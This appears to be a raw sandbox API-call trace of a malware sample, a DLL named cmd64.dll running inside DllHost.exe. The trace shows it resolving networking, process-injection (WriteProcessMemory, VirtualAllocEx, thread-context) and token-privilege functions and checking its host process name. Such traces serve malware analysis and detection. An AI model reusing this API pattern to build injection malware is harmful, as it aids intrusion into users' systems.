[0116.847] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0116.847] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0116.847] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.848] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.848] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.848] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.849] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.850] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.850] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.850] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.851] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.860] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0116.860] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0116.860] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0116.860] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0116.860] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.861] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0116.861] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0116.861] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.862] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0116.862] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0116.863] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0116.863] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0116.863] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0116.863] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0116.863] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0116.865] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0116.865] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0116.865] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x1ef188 | out: lpflOldProtect=0x1ef188*=0x40) returned 1 [0116.865] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x1ef188 | out: lpflOldProtect=0x1ef188*=0x4) returned 1 [0116.865] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0116.865] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0116.865] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0116.865] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0116.865] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0116.865] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0116.865] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0116.865] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0116.866] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0116.867] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0116.867] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0116.867] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0116.867] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0116.867] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0116.867] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0116.867] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0116.867] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0116.868] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0116.868] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0116.868] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0116.868] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0116.868] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0116.868] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0116.868] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0116.868] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0116.868] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0116.868] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0116.868] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0116.869] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0116.870] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0116.871] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0116.872] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0116.872] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0116.872] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0116.872] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0116.872] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0116.872] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0116.872] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0116.872] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0116.872] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0116.873] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0116.873] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0116.873] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0116.873] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0116.874] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0116.874] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\DllHost.exe") returned 0x1f [0116.874] PathFindFileNameA (pszPath="C:\\Windows\\system32\\DllHost.exe") returned="DllHost.exe" [0116.874] GetCommandLineA () returned="C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" [0116.874] _strcmpi (_Str1="DllHost.exe", _Str2="svchost.exe") returned -15 [0116.874] StrStrIA (lpFirst="DllHost.exe", lpSrch="wermgr.exe") returned 0x0 [0116.937] HeapDestroy (hHeap=0x1fc0000) returned 1 [0116.940] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0116.942] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.361] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.367] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0117.369] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 536 os_tid = 0x4b8 Thread: id = 537 os_tid = 0x480 Thread: id = 538 os_tid = 0x5a0 Thread: id = 539 os_tid = 0x5bc Thread: id = 540 os_tid = 0x540 [0117.433] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0